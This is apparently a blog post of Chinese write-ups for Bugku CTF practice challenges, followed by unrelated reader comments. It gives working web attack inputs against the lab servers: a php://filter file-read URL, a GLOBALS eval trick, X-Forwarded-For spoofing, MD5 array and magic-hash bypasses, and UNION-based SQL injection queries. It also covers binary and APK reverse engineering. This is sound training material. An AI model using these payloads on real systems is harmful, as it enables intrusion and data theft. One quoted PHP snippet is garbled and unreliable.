Bugku题解

flag在index里

打开题目,显示的是一个链接


image.png

查看源代码,也只有一个链接,点开链接,返回了 Oh on!

根据题目提示,flag 在 index 里,所以想办法读取 index.php 的源码

这时候需要用到 php 伪协议
参考表哥文章

构造 url 地址

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

然后进行解密,得到flag

变量1

打开题目,页面是这样的

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

第一行 flag in the variable 提示我们 flag 在变量里,然后审计下面的代码,需要我们传入一个变量 args ,然后判断这个变量是否已经设置了 ,之后是一个正则匹配。"^" 代表的是匹配字符串的开始位置,“$” 代表的是匹配字符串的结尾位置,“\w” 代表匹配字母(在PHP中是这样,其他地方可以用来匹配字母,数字,下划线),“+” 表示前面的字符串匹配一次或多次。如果不匹配,就直接 die(退出当前脚本,并输出一条消息),否则就执行

eval("var_dump($$args);");

注意这里有两个 “$”

$$args

两个 "$" 说明这是一个可变变量
我们可以通过一个一个传入 PHP 的预定义变量获得 flag ,不过在 PHP 里面有一个 GLOBAL 变量 ,直接包含了所有的全局变量,所以我们只要传入 args=GLOBAlS 注意 GLOBALS 要大写,就可以获取到 flag 了。

http://123.206.87.240:8004/index1.php?args=GLOBALS
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=>
 array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { }
 ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" 
["args"]=> string(7) "GLOBALS" } 


#入门逆向

这道题。。。
先运行程序,看看是个什么内容,一打开立马闪退。。。于是拖到 OD 里,来一下智能搜索试试。

中文搜索引擎
地址 反汇编 文本字符串
00401348 mov dword ptr ss:[esp],baby.00405000 libgcc_s_dw2-1.dll
0040135F mov dword ptr ss:[esp],baby.00405000 libgcc_s_dw2-1.dll
00401375 mov dword ptr ss:[esp+0x4],baby.00405013 __register_frame_info
0040138A mov dword ptr ss:[esp+0x4],baby.00405029 __deregister_frame_info
004013C0 mov dword ptr ss:[esp],baby.00405041 libgcj-16.dll
004013D8 mov dword ptr ss:[esp+0x4],baby.0040504F _Jv_RegisterClasses
0040146E mov dword ptr ss:[esp],baby.00405064 Hi~ this is a babyre //注意这里,跟进入看看
00401A50 push esi (Initial CPU selection)
00401D3E mov dword ptr ss:[esp],baby.00405080 Mingw runtime failure:\n
00401E54 mov dword ptr ss:[esp],baby.00405098 VirtualQuery failed for %d bytes at address %p
00401F21 mov dword ptr ss:[esp],baby.00405100 Unknown pseudo relocation bit size %d.\n
0040201F mov dword ptr ss:[esp],baby.004050CC Unknown pseudo relocation protocol version %d.\n
00402829 mov edi,baby.0040512C .
0040302D mov dword ptr ds:[esi],baby.0040512E glob-1.0-mingw32
004031A8 mov dword ptr ss:[esp+0x4],baby.00405142 .
004031D9 mov dword ptr ss:[esp+0x4],baby.00405142 .

跟进入以后,啥都没发现。。。程序运行起来就只有一句话,也没有其它提示,我寻思着用 IDA 试试,结果打开之后是这样

.text:00401460 push ebp
.text:00401461 mov ebp, esp
.text:00401463 and esp, 0FFFFFFF0h
.text:00401466 sub esp, 30h
.text:00401469 call ___main
.text:0040146E mov dword ptr [esp], offset aHiThisIsABabyr ; "Hi~ this is a babyre"
.text:00401475 call _printf
.text:0040147A mov byte ptr [esp+2Fh], 66h
.text:0040147F mov byte ptr [esp+2Eh], 6Ch
.text:00401484 mov byte ptr [esp+2Dh], 61h
.text:00401489 mov byte ptr [esp+2Ch], 67h
.text:0040148E mov byte ptr [esp+2Bh], 7Bh
.text:00401493 mov byte ptr [esp+2Ah], 52h
.text:00401498 mov byte ptr [esp+29h], 65h
.text:0040149D mov byte ptr [esp+28h], 5Fh
.text:004014A2 mov byte ptr [esp+27h], 31h
.text:004014A7 mov byte ptr [esp+26h], 73h
.text:004014AC mov byte ptr [esp+25h], 5Fh
.text:004014B1 mov byte ptr [esp+24h], 53h
.text:004014B6 mov byte ptr [esp+23h], 30h
.text:004014BB mov byte ptr [esp+22h], 5Fh
.text:004014C0 mov byte ptr [esp+21h], 43h
.text:004014C5 mov byte ptr [esp+20h], 30h
.text:004014CA mov byte ptr [esp+1Fh], 4Fh
.text:004014CF mov byte ptr [esp+1Eh], 4Ch
.text:004014D4 mov byte ptr [esp+1Dh], 7Dh
.text:004014D9 mov eax, 0
.text:004014DE leave
.text:004014DF retn

不对啊,这么一个入门题,应该是可以直接出 flag 的啊,再仔细看看,这后面这一堆16进制的数据是个啥,[转换一下试试](http://www.ab126.com/goju/1711.html)?

然后就出 flag 了,完后我在网上搜了一下,人家的 IDA 反编译之后直接就可以看到数据了,我这个......是我哪里没设置好吗?

#BKCTF-web4

打开网页,题目提示我看看源代码,所以就打开看看吧

<pre id="line1"><html> <title>BKCTF-WEB4</title> <body> <div style="display:none;"></div> <form action="index.php" method="post" > 看看源代码?

<script> var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); </script> <input type="input" name="flag" id="flag" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> </pre>

对中间的那两串字符解码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

54aa2

这个的结果很明显了,对输入的值进行比较,如果输入的值等于 ```p1+54aa2+p2```,就输出 flag ,于是输入

67d709b2b54aa2aa648cf6e87a7114f1

得到结果

KEY{J22JK-HS11}

题目里面出现了一个 unescape 的函数,这是一个解码函数,[unescape解码](http://www.runoob.com/jsref/jsref-unescape.html)

Escape/Unescape加密解码/编码解码,又叫%u编码,从以往经验看编码字符串出现有"u",它是unicode编码,那么Escape编码采用是那一种unicode实现形式呢。其实是UTF-16BE模式。这样一来问题非常简单了。 Escape编码/加密,就是字符对应UTF-16 16进制表示方式前面加%u。Unescape解码/解密,就是去掉"%u"后,将16进制字符还原后,由utf-16转码到自己目标字符。如:字符“中”,UTF-16BE是:“6d93”,因此Escape是“%u6d93”,反之也一样!因为目前%字符,常用作URL编码,所以%u这样编码已经逐渐被废弃了!


#管理员系统

打开网页,提示输入用户名和密码登陆,有点像是 SQL 注入的题,当随意输入一个值提交之后,又有如下提示
```IP禁止访问,请联系本地管理员登陆,IP已被记录. ```
查看源码没有发现任何线索,然而打开浏览器的控制台反而发现了一点东西
![image.png](https://upload-images.jianshu.io/upload_images/8520837-8f12a5695e176247.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
将注释中的字符串进行解密,得到的结果是 ```test123```,再联系页面上的联系本地管理员登陆,IP已被记录。本地管理员?IP?想到了IP地址伪造。
于是就伪造一个本地IP登陆,对提交的数据抓包,添加一个```X-Forwarded-For```请求头,值为```127.0.0.1```
于是乎就得到了flag。。。。。。。。。。
![image.png](https://upload-images.jianshu.io/upload_images/8520837-1aad46405c1065ba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



#点击100万次


这个题很简单,点击一百万次,肯定不是用手点,并且题目已经提示了 javascript 

打开题目,按下 F12 进入开发者模式,在控制台里直接把 clicks 赋值成 999999 ,这时候只需要单击一次屏幕就实现了点击一百万次。

这时候可以查看源代码就可以看到 flag 了,也可以在刚才点击之后抓包,然后再抓取返回包,在 burp 中抓取返回包的操作如下

![image.png](https://upload-images.jianshu.io/upload_images/8520837-44878ce4abd68d95.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

这时候返回包里就有 flag 了
![image.png](https://upload-images.jianshu.io/upload_images/8520837-5689b7b7f12fc6f2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#备份是个好习惯


打开题目,就是一串字符串
```d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e```
先拿去解密一下试试,结果得到了一个空密码。
![image.png](https://upload-images.jianshu.io/upload_images/8520837-27d61210dc7e3244.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
这个时候就得考虑一下其它线索了,回看题目“备份是个好习惯”,和备份有关???那扫扫看

![image.png](https://upload-images.jianshu.io/upload_images/8520837-c7d7b109819e0db2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
扫出来了一个 bak 文件。 **小知识:备份文件一般都是.bak或者.swp**
把备份文件下载下来,打开之后是网页的源码。

<?php
/**

  • Created by PhpStorm.
  • User: Norse
  • Date: 2017/8/6
  • Time: 20:22
    */

include_once "flag.php";//包含 flag.php 文件
ini_set("display_errors", 0);//设置不返回错误信息
_SERVER['REQUEST_URI'], '?');//判断URL里是否有问号,存在就返回给 strstr = substr(str = str_replace('key','',str 里面的 key 替换为空
parse_str(key1);//将 key1 进行 MD5 加密并输出

echo md5(key1) == md5(key1 !== flag."取得flag";//如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>

阅读源码,在这里贴上函数的用法
[strstr()](http://www.runoob.com/php/func-string-strstr.html)
[substr()](http://www.runoob.com/php/func-string-substr.html)
[str_replace()](http://www.runoob.com/php/func-string-str-replace.html)
[parse_str()](http://www.runoob.com/php/func-string-parse-str.html)

到这里,就只剩下一个问题了,如果绕过两个不同的值有相同的 MD5?
1.我们都知道,MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组呢??? 它没法进行加密,返回空,结果不就相等了吗。
所以就可以构造这么一个 URL
```http://123.206.87.240:8002/web16/index.php?kkeyey1[]=wsafe&kkeyey2[]=sjkfsfd```
2.还有一个办法,众所周知,科学计数法是 *e***** ,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了,在网上查了一下,找到了这么几个。

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

前面之所以传入的是 kkeyey1 而不是 key1 ,是为了绕过 str_replace 这个函数的限制,这个函数将 key 替换为空,剩下的拼接在一起正好就成了 key1.


#学生成绩查询

打开网页之后,看到的是一个输入框,输入 id 可以查询成绩信息。看到输入,就先想到注入,试了个 and 1=1 就检测出存在 SQL 注入。
![image.png](https://upload-images.jianshu.io/upload_images/8520837-941de2b8fa703d9c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![image.png](https://upload-images.jianshu.io/upload_images/8520837-2e6a9e6b5fb84683.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


然后第一时间想的是拿 sqlmap 来扫,但是用  --forms 检测 post 注入,竟然提示我不存在注入??? WTF???

看来还是得靠双手致富啊

id=0' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),version(),user(),4#


id=0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),version(),user(),4#


id=0' union select(select skctf_flag from fl4g),version(),user(),4#

最后得到 flag 了
![image.png](https://upload-images.jianshu.io/upload_images/8520837-d43e79e7085a4378.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#Easy-re

直接载入OD
得到flag
搜索字符串
![image.png](https://upload-images.jianshu.io/upload_images/8520837-c805a422cfd5fe21.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#TImer

下载文件,可以看到这是一个 apk 文件
先放到模拟器里运行一下,有个200000秒的倒计时,猜测它应该是倒计时结束就获取 flag 
于是用 AndroidKiller 打开
![image](http://upload-images.jianshu.io/upload_images/8520837-a81de8ca6f534ff5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

查看 java 源码 
![image](http://upload-images.jianshu.io/upload_images/8520837-9ea656426d201206.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

一开始的代码

int beg = (int)(System.currentTimeMillis() / 1000L) + 200000;
int k = 0;
int now;
long t = 0L;

注意这个 oncreate

protected void onCreate(final Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968600);
paramBundle = (TextView)findViewById(2131492944);
final TextView localTextView = (TextView)findViewById(2131492945);
final Handler localHandler = new Handler();
localHandler.postDelayed(new Runnable()
{
public void run()
{
MainActivity.this.t = System.currentTimeMillis();
MainActivity.this.now = ((int)(MainActivity.this.t / 1000L));
MainActivity.this.t = (1500L - MainActivity.this.t % 1000L);
localTextView.setText("AliCTF");
if (MainActivity.this.beg - MainActivity.this.now <= 0)
{
paramBundle.setText("The flag is:");
localTextView.setText("alictf{" + MainActivity.this.stringFromJNI2(MainActivity.this.k) + "}");
}
MainActivity localMainActivity;
if (MainActivity.is2(MainActivity.this.beg - MainActivity.this.now)) {
localMainActivity = MainActivity.this;
}
for (localMainActivity.k += 100;; localMainActivity.k -= 1)
{
paramBundle.setText("Time Remaining(s):" + (MainActivity.this.beg - MainActivity.this.now));
localHandler.postDelayed(this, MainActivity.this.t);
return;
localMainActivity = MainActivity.this;
}
}
}, 0L);
}

看这里

if (MainActivity.is2(MainActivity.this.beg - MainActivity.this.now)) {
localMainActivity = MainActivity.this;
}
for (localMainActivity.k += 100;; localMainActivity.k -= 1)
{
paramBundle.setText("Time Remaining(s):" + (MainActivity.this.beg - MainActivity.this.now));
localHandler.postDelayed(this, MainActivity.this.t);

这里调用了一个 ```is2```,我们看下他的功能

public static boolean is2(int paramInt)
{
if (paramInt <= 3) {
if (paramInt <= 1) {}
}
for (;;)
{
return true;
return false;
if ((paramInt % 2 == 0) || (paramInt % 3 == 0)) {
return false;
}
int i = 5;
while (i * i <= paramInt)
{
if ((paramInt % i == 0) || (paramInt % (i + 2) == 0)) {
return false;
}
i += 6;
}
}
}

可以写一个脚本把 k 的值跑出来

coding = utf-8

def is2(n):
if (n <= 3):
if(n > 1):
return True
return False
elif ((n % 2 == 0) or (n % 3 == 0)):
return False
else:
i = 5
while( i * i <= n):
if ( n % i == 0 or n % (i + 2) == 0):
return False
i += 6
return True

k = 0

for i in range(200000,0,-1):
k = k + 100 if is2(i) else k -1

print(k)

得到   ```k=1616384```
再进入 AndrodKiller 搜索 flag 
修改这里
![image](http://upload-images.jianshu.io/upload_images/8520837-46e114dfe284930c.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

再修改这里
![image](http://upload-images.jianshu.io/upload_images/8520837-39ff9e01afdd54d3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

保存,编译,放到模拟器里运行就可以获得 flag 了。
全部评论

相关推荐

ProMonkey2024:5个oc?厉害! 但是有一个小问题:谁问你了?😡我的意思是,谁在意?我告诉你,根本没人问你,在我们之中0人问了你,我把所有问你的人都请来 party 了,到场人数是0个人,誰问你了?WHO ASKED?谁问汝矣?誰があなたに聞きましたか?누가 물어봤어?我爬上了珠穆朗玛峰也没找到谁问你了,我刚刚潜入了世界上最大的射电望远镜也没开到那个问你的人的盒,在找到谁问你之前我连癌症的解药都发明了出来,我开了最大距离渲染也没找到谁问你了我活在这个被辐射蹂躏了多年的破碎世界的坟墓里目睹全球核战争把人类文明毁灭也没见到谁问你了(别的帖子偷来的,现学现卖😋)
点赞 评论 收藏
分享
狠赚笔第一人:学计算机自己不努力怪大环境?我大一就拿到了美团大厂的offer,好好看看自己有没有努力查看图片
点赞 评论 收藏
分享
点赞 收藏 评论
分享
牛客网
牛客企业服务